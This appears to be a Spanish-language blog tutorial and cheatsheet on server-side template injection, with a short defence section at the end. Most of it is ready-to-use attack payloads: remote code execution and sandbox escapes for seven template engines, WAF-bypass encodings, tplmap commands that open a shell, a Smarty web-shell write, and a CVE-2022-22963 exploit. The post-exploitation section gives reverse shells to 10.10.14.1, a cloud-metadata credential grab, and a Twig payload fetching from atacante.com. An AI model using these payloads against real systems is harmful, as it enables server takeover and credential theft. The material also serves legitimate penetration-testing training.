La inyección de plantillas del lado del servidor (SSTI, por sus siglas en inglés) es una de las vulnerabilidades web más peligrosas que vas a encontrar en un pentest. Un simple {{7*7}} en el campo correcto puede darte ejecución remota de código completa en un servidor de producción. Esta guía cubre todo: detección, fingerprinting, explotación, bypass de WAF y defensa, para todos los motores de plantillas principales en 2026.

¿Qué es SSTI?

Los frameworks web usan motores de plantillas para renderizar contenido dinámico — Flask con Jinja2, aplicaciones PHP con Twig, aplicaciones Java con FreeMarker. Cuando la entrada del usuario se concatena directamente en una cadena de plantilla en lugar de pasarse como variable, el motor de plantillas la evalúa. Eso es SSTI.

La diferencia entre código seguro y vulnerable:

# Seguro — entrada del usuario como dato
template = Template("Hola {{ nombre }}")
template.render(nombre=entrada_usuario)

# Vulnerable — entrada del usuario en la plantilla misma
template = Template("Hola " + entrada_usuario)
template.render()

En la versión vulnerable, si entrada_usuario es {{7*7}}, la salida es Hola 49. El motor evaluó la expresión. En ese momento, ya controlás el contexto de la plantilla.

Por Qué SSTI es Tan Peligroso

SSTI está categorizado bajo Inyección (A03:2021) en el OWASP Top 10. A diferencia de XSS, que se ejecuta en el navegador de la víctima, SSTI se ejecuta en el servidor. Eso significa:

  • Acceso directo a los internos del servidor
  • Lectura y escritura de archivos en el host
  • RCE completa en la mayoría de los casos
  • Acceso potencial a metadatos cloud (AWS/GCP/Azure IMDS)
  • Rutas de escape de contenedores en entornos mal configurados

El radio de impacto es enorme. Un solo SSTI en un endpoint de bajo privilegio puede llevar al compromiso total de la infraestructura.

Detección: Encontrando el Punto de Inyección

Paso 1 — Identificar Entrada Reflejada

Buscá cualquier lugar donde la entrada del usuario aparezca reflejada en la respuesta:

  • Campos de nombre, páginas de saludo
  • Términos de búsqueda renderizados en resultados
  • Mensajes de error que repiten la entrada
  • Plantillas de email, generadores de reportes
  • Renderizadores de PDF, sistemas de facturas
  • Líneas de asunto, campos de comentarios

Paso 2 — Sondear con Políglotas Seguros

Comenzá con un payload de detección que no rompa nada:

${ {<%[%'"}}%\.

Si la respuesta cambia, lanza un error, o muestra salida parcial, probablemente encontraste un motor de plantillas. Ahora hay que identificarlo.

Paso 3 — Identificar el Motor

Cada motor usa sintaxis diferente. Usá el árbol de decisión:

{{7*7}}         → ¿produce 49?      → Jinja2 / Twig
${7*7}          → ¿produce 49?      → FreeMarker / Mako / Velocity
#{7*7}          → ¿produce 49?      → Ruby ERB
<%= 7*7 %>      → ¿produce 49?      → ERB / EJS
{7*7}           → ¿produce 49?      → Go templates / Smarty

Para distinguir Jinja2 de Twig:

{{7*'7'}}   → produce 7777777 = Jinja2
{{7*'7'}}   → produce 49       = Twig

Cheatsheet por Motor de Plantillas

Jinja2 (Python — Flask, uso indirecto en Django)

Sondeo básico:

{{7*7}}
{{config}}
{{self}}

Leer entorno / config:

{{config.items()}}
{{request.environ}}
{{config['SECRET_KEY']}}

RCE via cadena __class__:

{{''.__class__.__mro__[1].__subclasses__()}}

Encontrá el índice de la clase subprocess.Popen u os.system, luego:

{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

El índice varía según el entorno. Para enumerarlo:

{% for i in range(500) %}
  {% if ''.__class__.__mro__[1].__subclasses__()[i].__name__ == 'Popen' %}
    {{i}}
  {% endif %}
{% endfor %}

RCE más simple via config + globals:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Lectura de archivos:

{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

Escape del sandbox de Jinja2 (si está en sandbox):

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Twig (PHP — Symfony, Craft CMS, Drupal)

Sondeo básico:

{{7*7}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

RCE via _self.env:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

RCE via setHandler:

{{_self.env.setCache("ftp://atacante.com/exploit")}}{{_self.env.loadTemplate("exploit")}}

RCE en Twig antiguo (<= 1.19.0):

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

FreeMarker (Java — aplicaciones empresariales)

Sondeo básico:

${7*7}
#{7*7}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

RCE:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}

RCE alternativo:

<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${ec.newInstance()("id")}

Mako (Python)

Sondeo básico:

${7*7}

RCE:

${__import__('os').popen('id').read()}
<%
  import os
  x = os.popen('id').read()
%>
${x}

Velocity (Java — Apache, legacy empresarial)

Sondeo básico:

#set($x = 7*7)${x}

RCE:

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set($process=$runtime.exec("id"))
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=new java.io.InputStreamReader($inputStream))
#set($bufferedReader=new java.io.BufferedReader($inputStreamReader))
#set($line=$bufferedReader.readLine())
${line}

Ruby ERB

Sondeo básico:

<%= 7*7 %>

RCE:

<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').readlines() %>

Smarty (PHP)

Sondeo básico:

{$smarty.version}
{7*7}

RCE:

{php}echo `id`;{/php}
{system("id")}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Herramienta: tplmap

tplmap automatiza la detección y explotación de SSTI en todos los motores principales.

# Instalación
git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt

# Escaneo básico
python tplmap.py -u "https://objetivo.com/pagina?nombre=*"

# Request POST
python tplmap.py -u "https://objetivo.com/submit" -d "nombre=*&submit=1"

# Con cookies
python tplmap.py -u "https://objetivo.com/pagina?nombre=*" --cookie "session=abc123"

# Shell interactiva (si se encuentra RCE)
python tplmap.py -u "https://objetivo.com/pagina?nombre=*" --os-shell

# Lectura de archivos
python tplmap.py -u "https://objetivo.com/pagina?nombre=*" --file-read /etc/passwd

# Especificar motor
python tplmap.py -u "https://objetivo.com/pagina?nombre=*" --engine Jinja2

Técnicas de Bypass de WAF

Codificación de payloads

Codificación hex (Jinja2):

{{config.__class__.__init__.__globals__['\x6f\x73'].popen('\x69\x64').read()}}

Bypass con Unicode:

{{config.__class__.__init__.__globals__['os']['pop\u0065n']('id').read()}}

Concatenación de strings:

{{'os'|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')}}
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('system')('id')}}

Bypassing filtros de palabras clave

Si config, class, globals u os están bloqueados:

# Usar objeto request en lugar de config
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Acceso a atributos via filtro |attr
{{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}}

# Construcción de strings
{% set a = 'o'+'s' %}
{{config.__class__.__init__.__globals__[a].popen('id').read()}}

Bypassing filtros de {{

# Usar {%print()%} en lugar de {{}}
{%print(config)%}
{%print(''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate())%}

Post-Explotación

Una vez que tenés RCE via SSTI, aplica post-explotación estándar:

Reverse shell:

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"').read()}}

# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {bash,-i,>&,/dev/tcp/10.10.14.1/4444,0>&1}")}

Metadatos cloud (si está en AWS):

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Variables de entorno (secrets):

{{config.items()}}
{{request.environ}}

Enumeración del servidor:

ls /; cat /etc/passwd; cat /proc/1/environ

Ejemplos Reales

CVE-2022-22963 — Spring Cloud Function SSTI

Spring Cloud Function expuso una vulnerabilidad SSTI via el header spring.cloud.function.routing-expression usando SpEL (Spring Expression Language).

curl -X POST http://objetivo.com:8080/functionRouter \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("id")' \
  -d ''

CVSS 9.8. Afectó Spring Cloud Function < 3.1.7, < 3.2.3.

Craft CMS / Twig SSTI (múltiples CVEs)

Craft CMS tuvo varias vulnerabilidades SSTI en endpoints de renderizado de plantillas. Usuarios autenticados con privilegios de edición de plantillas podían conseguir RCE via inyección Twig:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

HTB Labs — Máquinas Comunes con SSTI

SSTI aparece frecuentemente en Hack The Box:

  • Bolt — SSTI con Jinja2 en panel admin
  • Templated — Flask/Jinja2 desde cero
  • Devzat — ruta indirecta de SSTI

Practicá en un laboratorio aislado antes de apuntar a sistemas reales. Vultr y DigitalOcean te permiten montar un VPS barato para correr aplicaciones intencionalmente vulnerables como DVWA, Juice Shop, o stacks Flask/Django personalizados.

👉 Montá un VPS de práctica en Vultr — instancias SSD desde $6/mes, perfectas para labs de seguridad web.


SSTI en APIs y Endpoints JSON

SSTI no se limita a formularios web. Las APIs que construyen dinámicamente cadenas de plantillas desde el cuerpo del request son igualmente vulnerables.

Probar campos JSON:

curl -X POST https://objetivo.com/api/reporte \
  -H 'Content-Type: application/json' \
  -d '{"titulo": "{{7*7}}", "cuerpo": "test"}'

Probar headers HTTP:

curl -H "X-Custom-Header: {{7*7}}" https://objetivo.com/api/datos

Probar parámetros URL:

https://objetivo.com/api/saludo?nombre={{7*7}}

Si alguna respuesta contiene 49, hay SSTI.


Defensa: Cómo Realmente Solucionarlo

1. Nunca concatenar entrada de usuario en plantillas

# MAL
Template("Hola " + entrada_usuario).render()

# BIEN
Template("Hola {{ nombre }}").render(nombre=entrada_usuario)

2. Usar entornos en sandbox

Jinja2 tiene SandboxedEnvironment:

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(entrada_usuario)

Nota: los sandboxes pueden ser bypasiados. Es preferible no renderizar plantillas controladas por el usuario.

3. Validación de entrada

Rechazá {{, }}, {%, %}, ${}, #{}, <%, %> en campos que alimentan plantillas. Usá allowlist, no blocklist.

4. Reglas de WAF

Agregá patrones de detección SSTI a tu WAF:

  • \{\{.*\}\} (Jinja2/Twig)
  • \$\{.*\} (FreeMarker/Mako)
  • \#\{.*\} (Velocity)
  • <%.*%> (ERB)

5. Principio de mínimo privilegio

Los procesos de renderizado de plantillas deben correr como usuarios restringidos sin acceso a credenciales, endpoints de metadatos cloud, ni archivos sensibles.


Cheatsheet SSTI (Referencia Rápida)

MotorDetectarRCE
Jinja2{{7*7}}{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig{{7*7}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
FreeMarker${7*7}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Mako${7*7}${__import__('os').popen('id').read()}
Velocity#set($x=7*7)${x}Cadena Runtime.exec
ERB<%= 7*7 %><%= \id` %>`
Smarty{$smarty.version}{system("id")}

Laboratorios de Práctica

  • TryHackMe — sala “SSTI”, ruta de aprendizaje “Server-Side Template Injection”
  • Hack The Box — Bolt, Templated (retiradas)
  • PortSwigger Web Security Academy — labs dedicados de SSTI (gratuitos)
  • App Flask/Jinja2 local — armala en 10 líneas e inyectate vos mismo

Los labs de PortSwigger son particularmente buenos para SSTI — cubren todos los motores principales con desafíos guiados y sin guía.


¿Qué Sigue?

SSTI es una pieza del puzzle de ataques web. Continuá la serie:

Todo parte de la Serie de Pentesting de Aplicaciones Web .


¿Necesitás contenido de seguridad de nivel profesional para tu organización? CipherWrite entrega artículos técnicos, reportes y documentación escrita por profesionales.